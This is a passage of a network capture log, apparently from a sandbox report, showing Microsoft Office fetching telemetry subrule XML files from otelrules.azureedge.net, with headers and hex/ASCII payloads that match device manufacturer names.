3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:02 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012302Z-1657d5bbd48xsz2nuzq4vfrzg800000002rg000000003g39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:03 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 92e59db7-001e-002b-6700-1799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012303Z-1657d5bbd48brl8we3nu8cxwgn00000002zg00000000ubmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:03 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012303Z-1657d5bbd487nf59mzf5b3gk8n00000002fg000000004xf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:03 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012303Z-1657d5bbd48p2j6x2quer0q02800000002zg00000000bwx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:03 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:03 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 4c0632d0-601e-0097-4413-17f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012303Z-1657d5bbd48xdq5dkwwugdpzr00000000350000000006zd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:03 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:03 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:03 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012303Z-1657d5bbd48xdq5dkwwugdpzr0000000035g000000004t58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:03 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48cpbzgkvtewk0wu000000002zg000000000557 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48tqvfc1ysmtbdrg000000002n000000000f0wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48xsz2nuzq4vfrzg800000002s00000000015yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 53f69819-801e-0048-7802-17f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48cpbzgkvtewk0wu000000002xg000000006zvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2c548d6-d01e-0082-4f03-17e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48q6t9vvmrkd293mg00000002s000000000dsqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48xlwdx82gahegw40000000030g000000008x5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
